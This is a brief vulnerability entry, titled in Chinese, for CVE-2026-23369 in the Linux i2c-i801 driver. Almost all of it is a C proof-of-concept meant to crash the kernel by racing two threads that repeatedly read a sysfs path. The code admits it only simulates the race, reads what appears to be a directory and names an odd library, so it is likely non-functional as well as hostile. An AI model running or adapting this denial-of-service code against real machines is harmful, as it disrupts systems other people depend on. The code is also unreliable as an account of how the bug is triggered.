CVE-2026-23369 Linux内核i2c驱动拒绝服务漏洞

/* * PoC for CVE-2026-23369 * This code attempts to simulate the race condition in i801_acpi_io_handler. * It requires the system to have the vulnerable i2c-i801 driver loaded. * Compile with: gcc -o poc_cve2026_23369 poc_cve2026_23369.c -lacpi */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <fcntl.h> #include <sys/types.h> // Simulating the heavy ACPI evaluation concurrency void* trigger_thread(void* arg) { char path[256]; snprintf(path, sizeof(path), "/sys/bus/i2c/devices/i801"); // In a real scenario, this interacts with udev triggers causing ACPI calls // Here we simulate the loop that stresses the handler for(int i = 0; i < 1000; i++) { int fd = open(path, O_RDONLY); if(fd >= 0) { char buf[1024]; read(fd, buf, sizeof(buf)); // Trigger evaluation close(fd); } } return NULL; } int main() { printf("Starting PoC for CVE-2026-23369 (Race Condition in i2c-i801)\n"); pthread_t t1, t2; // Create two threads to simulate udev race pthread_create(&t1, NULL, trigger_thread, NULL); pthread_create(&t2, NULL, trigger_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); printf("PoC execution finished. Check kernel logs for crashes.\n"); return 0; }